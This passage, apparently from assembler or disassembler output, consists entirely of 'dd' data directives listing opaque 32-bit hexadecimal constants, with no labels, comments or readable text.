0E90800E3h, 0EB9282B4h, 56BB90Eh dd 4EF6A171h, 66FD9013h, 0C3801F80h, 29B05010h, 0BF6187F6h dd 9E468D0h, 9297E63Eh, 42274AF6h, 9EDD9875h, 624396D2h dd 620D49B8h, 8F877644h, 76D5A7B2h, 6AE88585h, 85CEA08Fh dd 155E7470h, 0E951ECC3h, 34208812h, 0F77E16D6h, 28C5FC38h dd 6F9808EEh, 2F54AFB0h, 0EA2F89D0h, 5B15635Dh, 9EFCD007h dd 192D8E39h, 0E8C80057h, 607A785Bh, 0E1819A89h, 581E1245h dd 6A4B522Bh, 103EC89Ch, 3FD93019h, 0AD425B94h, 1CE4474Eh dd 0B3B34EC3h, 45C9DF31h, 12CA5179h, 6150081h, 5A6E3858h dd 7F11E913h, 81903F25h, 7718331Ch, 0E9CB48D9h, 0B85BBA38h dd 2CFEE5A7h, 6A61CE0Eh, 0A4A6870h, 0C709D976h, 8287B32Ah dd 1BA93BA3h, 38344C75h, 86E04159h, 0C3113C7Ch, 46C97h dd 59D64E03h, 64E9D931h, 0F0E0159Ah, 18685A0Ch, 4EBE8713h dd 6F2CEF7Dh, 3EC13C0h, 844F1650h, 6D8FFE3Ch, 751BE90Ch dd 796EEC3h, 5000DD5Ah, 109B156Dh, 0DE0CCEFAh, 0C2F691Ch dd 0E381722h, 27D00123h, 8019FB46h, 7B842B60h, 0D2F089D9h dd 1A550457h, 71DCBE9Fh, 45B33768h, 0E9A8A58Dh, 2E0F0BDFh dd 0DF8B831Eh, 96F99A5Bh, 7C2D07C5h, 57427E5Ah, 624B4EFEh dd 7928857h, 0DAE95504h, 0E64F1FE8h, 8B2A9000h, 583E5431h dd 6BF36853h, 0E98214F2h, 7155F10Bh, 65554986h, 0AD59ADA5h dd 377FE9E1h, 86166BBBh, 0C54BECA0h, 2AC8A498h, 741F17E2h dd 0B22B041Ch, 5A67A279h, 5C5D6CBBh, 0BF307692h, 0EC8834ADh dd 515B2759h, 8297F7F8h, 0F5921AA4h, 0BA0EDCF9h, 0A6EB120Ah dd 0E9716FAFh, 0CCF85538h, 0CB9F5BB7h, 0C1E19377h, 0C07BE808h dd 0C95B78A2h, 0CE0C8EF1h, 0B800336Bh, 9D554F7h, 0FD012757h dd 0C130B7C6h, 1DE522EDh, 70422819h, 5D9F01B2h, 9BE96C43h dd 6B592580h, 8831CA8h, 96001009h, 0B36E11EDh, 4F36E91Bh dd 3D34EE8Ch, 0D92D6CF9h, 0B3536182h, 7246A140h, 0F0BF5780h dd 3D930A02h, 17C0FE21h, 31C0459Fh, 1799A9C3h, 4FEC1163h dd 9DD0C0CBh, 8E2AD39Fh, 0AE170960h, 0E83ACC79h, 332DA0F4h dd 0D2847A69h, 47B0C35Ch, 49545AB2h, 0A380B426h, 5F2A1809h dd 67F1FC57h, 645B1CBAh, 0DEF5EF9Ch, 536E4DC5h, 8961096h dd 24C85826h, 25430996h, 0DBDC886h, 785922A1h, 0C009F1D2h dd 9D67D870h, 74038BBh, 791D51F5h, 0EF970F0Ch, 0ED7EA1F5h dd 0DE2918E1h, 581C057Ch, 0D1263E1Dh, 6BD40295h, 5FC0660Eh dd 76305FD9h, 6544186Fh, 0C6C6364h, 4E129C67h, 0CC0ECE29h dd 0CFAB1748h, 0ECA85BE0h, 99CBE9E0h, 96BC5197h, 0FD49A5C3h dd 2B6D6103h, 4C137B4h, 545271FBh, 6ABA129h, 8B5B4608h dd 68C3FBB6h, 0AF847328h, 0BFD714A3h, 0E185FD49h, 4A3D54E1h dd 6A4156B2h, 785D632Ah, 57C80E25h, 681694EEh, 86A6639Eh dd 69AAB97h, 0CCC65962h, 62AE5904h, 6776318Ch, 95BEA470h dd 74B53BE4h, 7D5562A1h, 8320DD7Ah, 3F57F469h, 0F5ADDF89h dd 348B4DE0h, 0B5535B9Fh, 3ADBBB68h, 0E953285Bh, 27BAF25Eh dd 0B97583F2h, 0E2BF2C02h, 417A0E14h, 0D5D19C4Bh, 9F74470h dd 0A464509h, 2756F257h, 317E3C68h, 0C331A728h, 5CB9C1ABh dd 62375A60h, 111DBA81h, 0EC824B60h, 0C96897A9h, 41EF4D2Bh dd 6E9C0214h, 903A01D9h, 55C380F7h, 5FB45003h, 0C902E4C0h dd 0EE6064F4h, 1EC4FE08h, 0F9CCFE06h, 461CAC32h, 49277CF6h dd 0EA782222h, 94F1F24Fh, 5468A034h, 907DBE11h, 0FB84B8Ah dd 0FACA618h, 4C9759CAh, 80B52E19h, 0F81687Eh, 254E1FD9h dd 7B042DD2h, 0E9C200A7h, 4F7DAF66h, 93E90470h, 0B5B90735h dd 0F76529B0h, 0C692BFD9h, 4DD9661h, 0B1A2AAFh, 107A17E9h dd 9D8C79BAh, 0D88E5171h, 56F8C35Bh, 3D39B0BEh, 0B1B981Ah dd 0ED3CBCD7h, 0EF259ED0h, 6BBA769Eh, 12666701h, 82E2FA74h dd 36CC19A2h, 66794666h, 23E9A979h, 0D7022F6Ch, 58D1F03h dd 0E5FE31E9h, 8676EE5Fh, 74FBB08h, 0D362EAC6h, 1073EE29h dd 20415D89h, 0E9317DDEh, 9E94184h, 0FC3194A6h, 65701645h dd 0E90C8DAFh, 8F002EF7h, 7B0311B8h, 0E359F467h, 8597BE22h dd 0A44BB888h, 0EF257DF6h dd 0C7AF6A5Dh, 1CF127B1h, 623EE970h, 0C50944B6h, 2007165Dh dd 543B8FE5h, 0C25F9258h, 4E68DFC8h, 19C3A68Ah, 0AE3965ADh dd 0EA09172Eh, 0EB4B83DEh, 685021D0h, 171EEC06h, 0C0C5E97Bh dd 0FE99B642h, 0CE0BC672h, 8734EE80h, 0C7F9BD18h, 1F452F98h dd 3B15C380h, 5F44E94Dh, 0C99BE570h, 56630DDh, 77045916h dd 5D1F2D1Ah, 62D5CF2Bh, 0F981C0DEh, 13AC2E3Bh, 0DDDF00BCh dd 0D689BD34h, 0DEF75A0Fh, 0C1F68046h, 9009661Eh, 0CFB0D21h dd 881E24C2h, 1618DB2h, 896C17B8h, 79852E20h, 2245B1AFh dd 0C6D150F4h, 41D1A5C7h, 52495682h, 0F03C7076h, 39F09D28h dd 0C81CFE94h, 8070F4C9h, 0C00253D2h, 0E40CC74Bh, 0E94351A7h dd 25FF68A0h, 3A8DDF2Dh, 7A053E6Dh, 0D8AF189Fh, 0DF826A34h dd 5890BFD2h, 92BC025Ah, 737EEDA0h, 7E6CDE2Dh, 4DAA634h dd 0B98BF9E9h, 277202E7h, 5C290357h, 200820C0h, 72B55A5Eh dd 0E593DE4Eh, 762549F7h, 0AB30D27Bh, 82FEDC5Dh, 4C804445h dd 0BF499FA4h, 5F4E37C0h, 72E9F218h, 74422603h, 0EF14C5CAh dd 57C6E5A2h, 0C332A917h, 0E20B84D9h, 0AD3C2BEh, 82177A08h dd 2F6BCEEAh, 84B94810h, 64993A0Ah, 13039184h, 56CC255h dd 11B4078Eh, 0BD8DAA50h, 0C1720DDCh, 8D2ED147h, 2496E18Ch dd 0F31E88B3h, 5A79D3F6h, 595BB0C1h, 2F7FB16Fh, 12B21A28h dd 0E1C9E998h, 8DB13A87h, 95AAB07Bh, 0D0D0F739h, 7217A5E1h dd 74E1BAAEh, 0E1E9068Bh, 0D97FA442h, 0BFBAC1DBh, 215EF903h dd 3F73211Ah, 690DE4C4h, 0D8003B5Ah, 0C03C385Ch, 2D02E87Ah dd 76307E40h, 520D8243h, 637092Ah, 50C28EE9h, 625AD1D5h dd 756C6753h, 3EC3313Ch, 62BB9830h, 0EEF1211Ah, 0E72AFD14h dd 0D66827C7h, 0F24FA077h, 993A4E1Dh, 9EBD7AAFh, 0F80AAC80h dd 0E93F4B1Ch, 4A0C9A9h, 234D15D4h, 321EC1AFh, 0F3F7C287h dd 431102Eh, 626DE99Ch, 0BD4A1D8Ah, 9FEE86B2h, 39EF0023h dd 0C1664078h, 8CB806E7h, 8F18402h, 59FA01E2h, 703ACD2h dd 296E1509h, 9D3AFC56h, 0C9810A17h, 75D53B16h, 0B665FAEDh dd 0C8F4E063h, 0A75FE9B2h, 76052E09h, 0C20A42D9h, 0E8D15B01h dd 0F4DB0E2Fh, 55EEE0EDh, 6D2EFB6Ah, 0BAE95E04h, 54B2EFFAh dd 295DACA4h, 30A6D919h, 0DD278B2Dh, 7BBDEA36h, 89B2041h dd 4623113Bh, 7B640F04h, 6906CEC1h, 0AE94AB04h, 30E0A4BAh dd 0BE7D00B5h, 5CBB5F95h, 70308F61h, 4C1BF17Bh, 50281030h dd 2D872D03h, 0DF4915h, 0FEB1FF91h, 2673969Ch, 2F004979h dd 25FC1189h, 0A4D96EFBh, 0E9C49928h, 0BFFDE0CBh, 5F791C03h dd 94A1687Fh, 2DDDC598h, 72F62F19h, 376C9903h, 210C0F29h dd 0A814A95Ah, 0EDA10122h, 77742D9Fh, 0D1CE5B2Dh, 611242C5h dd 95F80BB8h, 81F2685h, 280348AFh, 95966CAh, 8CEA8004h dd 0B3508946h, 0C4940C91h, 4328BF26h, 0AA426507h, 369C16Ah dd 0A06EF579h, 95016289h, 6009F75Ah, 8044F67Dh, 874875D2h dd 6AC2A112h, 0C8946A72h, 60D9935h, 254FFBCFh, 272EC605h dd 0B001683Bh, 57D10562h, 484E52Ah, 1D0E808h, 250EEF5Dh dd 95D32447h, 35B501EFh, 283F642Eh, 6EF20107h, 0C6296F5Ah dd 820836A0h, 689AA187h, 36660AE2h, 4C63A310h, 454607D9h dd 77B27AC2h, 98144FFh, 5CA2307h, 80CA8DDh, 31BE5600h dd 3E40B06Ch, 0E912E6C1h, 588982D0h, 57039E80h, 102812BFh dd 412DCA43h, 424CF9A9h, 79D772B3h, 20B16AD6h, 1B4205B6h dd 0B0892773h, 5F4BFD07h, 5B3F102Ch, 5541B575h, 92B4BEB6h dd 895F40F3h, 30B4795h, 675774BAh, 0BC5380B4h, 18607B47h dd 1C10CA0Ch, 5D52090Ch, 3813D7E9h, 0F89691B7h, 9170EC94h dd 14B94CC0h, 4C43B04Ch, 34067B41h, 2E5B0640h, 94E02500h dd 59C821DDh, 0FFC03D83h, 0B46A9E96h, 0E4481B50h, 6269B771h dd 1EF95754h, 30072A4h, 0B9152123h, 0DC5B2C90h, 4D11240h dd 0AE7C28A1h, 51386D44h, 0FC0B27C2h, 0BE5E12E8h, 0CD9659Dh dd 5390DD01h, 4BAD9D1h, 4800EC74h, 0B30DD8F7h, 62E23E07h dd 258B9491h, 6FAA762Ch, 0C235C3AEh, 67BE840h, 944AF14h dd 566965CFh, 0BDCB509Eh, 20E738F8h, 0C6968738h, 291FA68Ah dd 1214BF83h, 7C0181E7h, 1399A33Eh, 0D0FEC984h, 0C0BAB7C8h dd 0F607EF12h, 0FE3906AFh, 807B04C7h, 0FD075898h, 4E5C05Bh dd 0D7B8C593h, 0C70A84C9h, 0E9EC0A80h, 0C0EA5585h, 280BB3D0h dd 2E9E08B5h, 4ECD089h, 0BF7760E9h, 34303139h, 947582B9h dd 680CC2ECh, 65D727ACh, 10B6267Bh, 77293BA5h, 0D7B5022Dh dd 71E90BAFh, 2D400640h, 0B6A3A90Fh, 707565DBh, 427EC059h dd 0B7B3221h, 618E9374h, 0E3CB8160h, 0D8970826h, 74644B0Fh dd 0E0D8BBE8h, 5E6225E9h, 99646CD7h, 1BC30EBAh, 0CD39BF17h dd 0EBE40B2Ch, 0E0D3B761h, 0A19DBC2Ah, 443A9D83h, 0AE7796D8h dd 0B8E18Ch, 2E87131Ah, 7A66DB25h, 1635374Ch, 69B603E0h dd 2F866A10h, 57D327BBh, 0F7B120B2h, 5EB7FD3Ch, 13157820h dd 89E1E4BCh, 0EACD5AD5h, 80C6C060h, 0D297C701h, 0B9D0EC3Bh dd 54B828E5h, 0C328F8AFh, 0E0ED8038h, 5B5DEBB2h, 17E9C3A1h dd 993F01EDh, 30031A2Fh, 3944532h, 8C35B582h, 59DC576Dh dd 7A6D56ADh, 5257B88Fh, 6BFBCB9h, 4C6C6DDEh, 1343030Ch dd 0C22DCD72h, 423150B1h, 30001AF6h, 0D35866C5h, 0B4FEF8B4h dd 0EE7F0EEh, 259F2359h, 24437CDFh, 44310AF6h, 19960257h dd 76411867h, 0E12D9363h, 59546761h, 82D1F22Bh, 0DC404468h dd 105C63A5h, 0AB27107Dh, 7022541Dh, 0ED8801F9h, 0CDB41EF2h dd 27A16C53h, 60A5EEF3h, 2578D187h, 4CD70512h, 0E3E9138Bh dd 49C3A3AAh, 0A29DC4CCh, 20A70502h, 0E8D1D7E0h, 6CD83507h dd 2C956511h, 8657B3F8h, 0D842AA4Eh, 5CD176E9h, 0E80BEE3Bh dd 0A25C096Ah, 49440271h, 12EA48C4h, 298CAACCh, 43AA4F2Fh dd 0A979AE6Dh, 4B545992h, 28FB5AE5h, 1627E9EBh, 304C791Ch dd 57386808h, 8B6F1B7h, 810F5C4Dh, 0F89FFFEBh, 0C8E301FBh dd 436BEA26h, 0C7A01A82h, 26D820C5h, 35BF8730h, 2E3CA5C9h dd 23A6FD2h, 3EF60552h, 700818E1h, 1E16D8B6h, 21BE7632h dd 0DDF79CA8h, 0DA913431h, 9F9A5F52h, 22C03D17h, 1E493B0Dh dd 0C940317Eh, 3FDC1753h, 0C720D551h, 0F006CB01h, 10F0E409h dd 33BFBD1Eh, 0B2D1664Fh, 7FE82000h, 0B0567A06h, 9A99304Dh dd 41A7F24Fh, 121FB0Bh, 91EE07D6h, 0CC6F5F0Bh, 62C7D925h dd 95769922h, 9F60158Ah, 22E5C109h, 0F10152DDh, 5688511h dd 4823E348h, 0AAE98F27h, 0C192ED65h, 0C3AAF384h, 4EF258C6h dd 0FE0C66FEh, 9AEDCACAh, 9B3A9DE8h, 4C9F97F2h, 0A636252Ah dd 0D3A5AD5Ah, 131842A4h, 6FC0CFEDh, 186B8C1Ah, 0C3097252h dd 6BC12Ah, 29F4E365h, 0E02C626Dh, 20B9D03h, 76D95Ah, 7C1935BDh dd 6C814017h, 295533FAh, 9AE9110Bh, 0CF932786h, 0E080B27Fh dd 9D7E6768h, 2C841819h, 69BE5F8Ah, 6F6D2585h, 0D4E5F3B9h dd 0AF421229h, 0BEA8E834h, 0FCC7E90Bh, 0AFF1E52Ah, 992596D7h dd 0B5721CAAh, 9407AF2Fh, 0E5F3D5EEh, 41DECB7Fh, 5C89088Ah dd 0BBFCE75Ah, 0E3C64B4Bh, 5600ECF1h, 0D4258C68h, 38CA374Ch dd 0CCB85B7Fh, 610809F5h, 68A8B855h, 0F43B4B79h, 4C41D5E0h dd 4A63BC2Eh, 521B2CBCh, 0E5E8664h, 0B7E93AE1h, 0BE1B002Eh dd 1B311EC2h, 7AA34D6h, 47B83350h, 0A15DBB88h, 0A4DDE99Fh dd 36514E40h dd 2C3D6087h, 62461298h, 6A5EE913h, 2D0478A2h, 0C45D5C84h dd 51358025h, 345AA9E9h, 71050525h, 9AAF0B7Dh, 777810DCh dd 0AFED135Bh, 0BB5BA6DBh, 51EBD165h, 549EA63Dh, 0CB25A4F3h dd 0F1632272h, 0D91104D2h, 4824332Dh, 0BC2F01DFh, 0B125583Dh dd 83CAA669h, 0BA014610h, 37E2369Bh, 9342EC4Ah, 0B6A5BBDh dd 65F55999h, 0F0C81771h, 34B846DAh, 12FA035Eh, 0C43CECBAh dd 0FAEC61C3h, 0F10639C0h, 0D095094Ch, 3BCD012Ah, 5144BF7Fh dd 0EFA89B9h, 2FD77408h, 0A3D6E692h, 5795F589h, 6A0C1051h dd 0B79E32Fh, 5F4F5974h, 0F0953758h, 106CB42h, 0A1FD3183h dd 0C0D72CE2h, 0C62B85FAh, 0CF421039h, 2880CA77h, 0EF8004E7h dd 0BA30581Bh, 0D14ECEEDh, 6F818FBDh, 0E4B71BECh, 5A61A88Ch dd 0FBF544BEh, 0D6B2F858h, 0F2795509h, 0EA40BD30h, 180912Ch dd 5F51B0D3h, 10ABE389h, 680EF511h, 0EE173EF0h, 647EC66Dh dd 826CC746h, 72611F5Bh, 20A3DCDh, 400FDCEAh, 209B7633h dd 651E49DFh, 0C458AD5Ah, 0EB121DC1h, 0DA909201h, 137A8A6Ah dd 21C115A7h, 1934FC4Eh, 83B04595h, 2EB0DD6Eh, 6EE92171h dd 5C800C6Ah, 0F209BE23h, 0D52E5A1Ah, 8E694FC0h, 0DABF6CBAh dd 845CC9E3h, 136ECDFh, 1F4061EAh, 82FA0119h, 31E28F4h dd 0F866C359h, 1C30F853h, 2FA3BAE9h, 4E53B45Eh, 0FC2DC1F1h dd 0BB248047h, 372E500Bh, 0DBF72743h, 184019DEh, 0C10CF01Fh dd 13B1880Ch, 0BBE06BE7h, 4AE97B57h, 0E388FECDh, 7E732568h dd 7DC9FAFBh, 30466D71h, 0A032733Eh, 49D6E906h, 0EF16C357h dd 4F44AF5Dh, 28F2779Ch, 419EBD39h, 22F9A83Eh, 0CA045CFDh dd 675E4539h, 3C9B030Ah, 3F49638Bh, 31146452h, 1F9B760Eh dd 2F89E2CAh, 3027D665h, 9D82791Eh, 4083958h, 60586250h dd 434B1EAh, 0E3CBBF08h, 7E68C609h, 77E862FFh, 53FE453h dd 3C32801h, 63B52E81h, 71B65200h, 2A18F9F1h, 266D5A3Ch dd 0ED94378h, 0C00531F1h, 83147334h, 0D6017230h, 510E94F1h dd 9920E482h, 0A9F7F976h, 0E96FAD86h, 6EAC09Dh, 4BC75546h dd 0F3B5C021h, 0E9094D5Dh, 8CDA0929h, 0F5FF5FDFh, 0C0D6942Eh dd 0E36C4F7Fh, 220357Bh, 45B90195h, 0C17CE661h, 6EE9EFE1h dd 821A3CF5h, 0E6700468h, 0B859018h, 3D740E0Fh, 0B877B84h dd 75878959h, 0C5293B23h, 2B93F6F1h, 0CBEA61FBh, 0D45FC237h dd 79755A71h, 532D6221h, 25BE3FA0h, 0E0B8515Fh, 0F508EE2Fh dd 29D61EABh, 4E6F0689h, 0ADD09767h, 0DA4DF5Eh, 58E313F2h dd 8EC0C0FBh, 1E0C777Ch, 0E056D101h, 4E5B7280h, 0E1AE8053h dd 2D2836CFh, 9B02CE6Fh, 89E0C2AFh, 6A12E1CEh, 0FAE75A02h dd 3840808h, 0FE02E8C0h, 5060AA6h, 0D1F6C886h, 0C5341C08h dd 0D51BA588h, 0A0E9F2A8h, 0F430A24Bh, 58582F46h, 0E702232Ch dd 0D915E905h, 40A9BAD5h, 12544C32h, 80450E7Fh, 3AA3CDD2h dd 0F6662325h, 0D6AC8239h, 1D545651h, 0E21AE909h, 2DDC470Fh dd 5558B64Ch, 1C6532F2h, 597DEB57h, 5B737F07h, 5239BB7Ah dd 0C0F8F87Ah, 23103B64h, 1544FE9h, 28ADB7D5h, 34A93FF8h dd 0F9DCC141h, 0B842CB2Eh, 5297BD5Ah, 6B80B530h, 730775C1h dd 30CE0C90h, 0D6F75714h, 147E8F45h, 16DE2854h, 2C17A4FCh dd 0E094FBB6h, 0F97425BFh, 0F3110483h, 0EA3A8863h, 2C535D4h dd 0A4F6580Dh, 85324129h, 0A768AB84h, 2FCBE33Dh, 57DEE265h dd 0B298C44Bh, 0BFA0FA15h, 0BFBE9B29h, 35C894Bh, 0C933F9h dd 43685319h, 5B0CCD64h, 0B054DAB7h, 690900B0h, 0E9DD8994h dd 0FCB5A025h, 5D8FE3A8h, 0C933953Ah, 408781A6h, 0DF7031CDh dd 0E1E919F1h, 765740F0h, 0AD3450FFh, 2F54D083h, 0BE324C88h dd 3060232h, 0B12C7F4h, 0F0BF9FC3h, 583F2E7Bh, 351EBC09h dd 2D7E1EEFh, 5F254959h, 0C795B0BCh, 0E4DDA5C6h, 62B12111h dd 5954968Bh, 0F8E89FFFh, 817BB570h, 0E64E2542h, 0CA7E9D1Eh dd 5A40C620h, 5F552557h, 0C78252E5h, 40DC5C4Dh, 0BF21A7C1h dd 0E502766Ah, 830BD051h, 27495309h, 53D6EE35h, 0A1B7A6A8h dd 47E9597Bh, 40AF952Bh, 56A905C6h, 62900D7Fh, 3FBB5194h dd 798C5AEAh, 28544E1Dh, 8A6046F1h, 38D7EF73h, 0C5766F0Ch dd 51FDBC4h, 0BF13D15Ah, 0EF0D6A03h, 1480B706h, 0F655FC05h dd 915F4AD2h, 82EF1B11h, 28D70466h, 0A05455D8h, 5A8931CAh dd 3F7975CFh, 6436F549h, 56C480C1h, 0DB2563CDh, 0B2ACF0CEh dd 0BF570103h, 0C3DD3EE6h, 91E6C31h, 96525AD7h, 0D0BB7B5h dd 2C19A95Fh, 49C9CA3Dh, 0E816BAF4h, 0E207FF0Eh, 62083B62h dd 73490577h, 83132B51h, 2568453Ch, 55E637Fh, 9F5EF570h dd 5291A123h, 534C5110h, 3705C948h, 9105A50Ah, 0CA1D319Fh dd 610291FCh, 0F50D9524h, 1401BAA2h, 59545100h, 954EF868h dd 0DE429E9Ah, 5B136364h, 0BAA506Dh, 39D65ABCh, 30A9ED08h dd 0C73505F4h, 3781F13h, 0DB4B2EF9h, 0B81E60B9h, 0E479CBh dd 75F62D5Dh, 0DAE97B36h, 452D8EBCh, 0C9DCAD9Fh, 0FBEEC158h dd 0BE46EF2Bh, 5ADE85B7h, 4D4C1F33h, 7F0A52BDh, 0B0C432F3h dd 0F0CDEFA4h, 0E9C32932h, 463EA12Bh, 41C2024Ah, 5DD1CBADh dd 5851C182h, 686AB4Ah, 0BB5A8BA9h, 5C2B28BEh, 0F8202A98h dd 112DE35h, 0E9778DBDh, 7B146C05h, 2859F231h, 0BEF127DDh dd 7C6F0278h, 5D2887BEh, 536BCF85h, 0B0603857h, 0FEF1FBB1h dd 305C8487h, 0CAD782F0h, 767573CAh, 57060F7Ch, 0CF98A487h dd 9514E3B6h, 2BB1023Fh, 0DE56094Fh, 73E9419Fh, 0B3B36E10h dd 5058EB06h, 621784B0h, 4105D0F6h, 3DC0FE07h, 9FC3285Ah dd 9568C540h, 4AB3454Fh, 0B3533703h, 0E9F8FE38h, 0CCBD9058h dd 37B7272Bh, 7FCB5FF4h, 4524B717h, 0CCFEE312h, 944D68CBh dd 0CC4F7F4Fh, 8B6B8CF1h, 0D4277F6Ah, 2D63C6DBh, 0FBFB1945h dd 0A2AF48Ah, 7D3E2FBCh, 90FE202Bh, 0F77BAEB7h, 41223FA9h dd 7D5187B4h, 0B1275828h, 351CA66Bh, 3053A097h, 0F1A713D1h dd 0BBDA1231h, 59E9EB9Ch, 0B0190D18h, 105A82CAh, 0F04047EAh dd 2218B02Dh, 0E5B5513Ah, 0B789275Bh, 19211901h, 8BF4D6EDh dd 6BB6F101h, 0E1E229F2h, 5D018C39h, 3661F968h, 495C06B6h dd 9761FAAh, 5ACE50DEh, 389217FEh, 0B85B29E0h, 0BA942235h dd 6E03BC90h, 0F715DE06h, 8362F1DFh, 0BCBCF24h, 3161206Bh dd 37EF3E81h, 0CE9120F1h, 0E07F1041h, 0C6905E3Bh, 4814DF0Fh dd 80CA4D13h, 0E1C0806h, 61D23859h, 0F8770E9Ah, 48017D77h dd 9B52250h, 0D375526Bh, 539AEB7Bh, 7B75A2CAh, 60B300B0h dd 0EF012694h, 888CAF1h, 0C13112C5h, 60E3D11Ch, 5007C3D3h dd 4B3C6B16h, 0EEE0CAF4h, 5E614C1h, 1F749346h, 0D2105002h dd 8875C07Dh, 5F9759C8h, 0EF849129h, 5A56093Fh, 0D1672FC9h dd 964A96D5h, 168C1FEh, 1BCD6B23h, 94A94945h, 7B4BB610h dd 705AE428h, 0B80BFBE4h, 0D3F921C2h, 27D02C0Ch, 7F4B7559h dd 0D224D966h, 1D6D46F4h, 0CE8C7160h, 1353C2DDh, 30232DACh dd 7C16B6CBh, 2AF37FE9h, 68A3572Dh, 1900A19Ah, 0E6D15BDEh dd 0A04FFE87h, 9DFFE433h, 7FA82795h, 0B9698F09h, 0F885FDE3h dd 2B9AF189h, 571DFD8Ah, 25500468h, 7883FB62h, 0FFDB814h dd 0DEBB0453h, 0AFAE7035h, 0C5AB3284h, 6821C803h, 6534B329h dd 0F59C5F2Dh, 0AF58B530h, 2575EDEAh, 87564DFFh, 45C204BCh dd 1AC00E3Bh, 607C3809h, 7E721868h, 0C8B57910h, 7E3DBE51h dd 0CE88BD99h, 0EEE90907h dd 4DD72842h, 24CEA436h, 0D319A753h, 49F84B59h, 0C40BD2A9h dd 8C9E657Fh, 5C0A718Fh, 4002A190h, 507F8919h, 768040B8h dd 41AEB880h, 0FB0520B1h, 4B395E39h, 0B3A96B84h, 5D9BBA5h dd 9A10AA20h, 0C2FE2659h, 96470844h, 7EE1BF01h, 0D4206668h dd 0A2100228h, 0AFF2E917h, 0F85A5B6Ah, 0D1232227h, 0AF6C8941h dd 11505E5Ch, 20558160h, 664BE704h, 0A943B104h, 5A3B38FFh dd 2FBB5897h, 85D95C93h, 41D3CF47h, 280E2497h, 3909268Bh dd 0F608CA32h, 0B44E8958h, 5C3C9AF2h, 41932E98h, 0B8042DE8h dd 5D694D49h, 38EE981h, 3694307Fh, 0EFB05644h, 646F532h dd 20D84E4Dh, 0BB00D201h, 52094010h, 133BE381h, 3118A02h dd 86134B61h, 65B4AACCh, 66B109F3h, 19C06AB4h, 0C082B6CDh dd 9439CB6Bh, 63B43EAh, 51F0911Eh, 0CB49C1DFh, 80E87F59h dd 6B549C68h, 49D046B0h, 27730493h, 52803BF9h, 590742C2h dd 0A377034Ah, 6B481308h, 8B6845FAh, 0E0F2FA1Ch, 0AA671E85h dd 1346C976h, 0DE74C96h, 566DA91h, 7AE40508h, 0E02ECDFEh dd 0C9C9427Eh, 356BCCE0h, 1E2B8A81h, 393C0CD7h, 3AF1FCD9h dd 5819508Eh, 6BC68786h, 5DEA1AB5h, 90522632h, 0E9C62904h dd 45EAC930h, 6CFCD22h, 26286F06h, 1FCA5B4Fh, 4BCA680Eh dd 859DFE17h, 0EA1172F5h, 28F16F4Fh, 0BFEB846Bh, 4E86619Ch dd 58C0F7F2h, 90E32238h, 0EF4CB53Ch, 9D925B20h, 5593A780h dd 9AA114C3h, 25E9400Bh, 4D6F78E9h, 0D4F04124h, 95E9FB7Eh dd 0C120402Eh, 7875BCDh, 0E979B9B7h, 5AF45070h, 0A1D4AD73h dd 7E063E4Eh, 0E8056100h, 7349353Bh, 9597830h, 0B9CEF6F1h dd 5C2233D8h, 37EB0441h, 0BF479268h, 4C085150h, 0DFE68B3Fh dd 0AA545FA5h, 60563F62h, 82CD1003h, 0F4EA3060h, 46480D15h dd 84BF809Dh, 4BDCBEC9h, 0C504B229h, 0A421D189h, 735286BDh dd 4C90498Fh, 0A21FBC7Bh, 59B349B0h, 0E4A86Fh, 57FEBE56h dd 5001541Bh, 0BF0EE5F0h, 38C99899h, 0D61292B7h, 0D2C2FE57h dd 0D306F531h, 681865D1h, 166D64A8h, 475B9D67h, 18124FBBh dd 62856DABh, 0C8BA4E4Fh, 4B49DEF0h, 61FC4FF8h, 587E9910h dd 494E008Ch, 0E7C14274h, 60099F07h, 8844CC04h, 6D19D113h dd 7B0C0B38h, 0B51A46C0h, 44E5BFF8h, 0FD840108h, 2020906Bh dd 6C1D71B7h, 0E68119F5h, 6568291Eh, 12AF182Bh, 382E78BAh dd 3210410Ah, 0AB74592Fh, 4D034AA4h, 909DD2Fh, 7E6DA672h dd 0F1B6F904h, 7DBF3AD0h, 5C0D81F4h, 16ABE950h, 0C31BD06Bh dd 8C2F5688h, 74A1D775h, 0ED3EF9E5h, 0E0B23455h, 14BD3FE3h dd 79D8FDCBh, 97C2093Bh, 6330CC76h, 97321668h, 0E526D218h dd 0B97BB89Fh, 274F7888h, 135F2944h, 9DA1E641h, 129E74F8h dd 2A9905E0h, 14014A1h, 33048EF8h, 161ED34h, 0DEB3F666h dd 122EAC71h, 0FECAAF1Fh, 13417CC9h, 735DF683h, 17BF268Ch dd 0C16FE899h, 5520478Fh, 0E17834F4h, 2DCDF7C2h, 6A4557A5h dd 0D8684AB3h, 9828AB0Ah, 880B4043h, 4F1DFD58h, 9A66B4F1h dd 14E5A1CBh, 35FC5913h, 3627ACF6h, 0A196CEE8h, 9470A978h dd 4C7F837h, 0C8AAA35Bh, 0FFECEA29h, 0F9575CB2h, 0EFD54BA2h dd 52CCA5BAh, 0FF5EF32Fh, 85D4F718h, 0F72D1CC9h, 2F5EBE41h dd 0F700AF29h, 7CD81141h, 42F10568h, 0E87FDC5Fh, 73A105C5h dd 0C4014AADh, 0D4C2863h, 7926E09Ch, 0BF4F2496h, 0EA1B82D5h dd 18980A04h, 8D9E02Fh, 9C2C26C7h, 5AC80715h, 0D5766DFEh dd 2283252Eh, 49B1102Dh, 80F32802h, 0FC7976C3h, 45CA9F62h dd 6807306Dh, 7BB76D63h, 2AA63099h, 0E4A0A862h, 0EDBCEBE3h dd 29D83A82h, 3A025FE5h, 1B4443C5h, 0BEBED396h, 0F82096EAh dd 4A42BC20h, 0B86D5E07h, 0E8AC09C6h, 75A5DDB7h, 4656C0DFh dd 60B7C67h, 5C5445E9h, 0DA05E0ADh, 565A817Eh, 38E1B2E1h dd 28F27783h, 21813362h, 2E5031D7h, 16BF6E00h, 0B51AE747h dd 75E9BEC3h, 89567C93h, 0D778E208h, 4DF67BE8h, 9937B013h dd 0EE1212AAh, 178C5E90h, 0CB015FE1h, 341E1317h, 0F3B61FC8h dd 85CCC043h, 0ACEBC50Eh, 9D69085Ah, 0A9EB987Dh, 0D00CE13Fh dd 51504859h, 70F77982h, 7EC45405h, 0E2AE5C01h, 6E0C417Fh dd 90EFA535h, 615A0D86h, 0F7B80B00h, 5F49EA5h, 72C130Ah dd 135F2464h, 4EC8FC08h, 8B934AF8h, 1C2D5825h, 3AB00FDBh dd 5BEF3A9Ch, 35B1A8EEh, 0ECED4089h, 9177F925h, 0D8F6E91Dh dd 0F13FFD1Fh, 46992F7Ch, 16077660h, 0E8287B36h, 8066125h dd 0ADD814Dh, 0EC3551F0h, 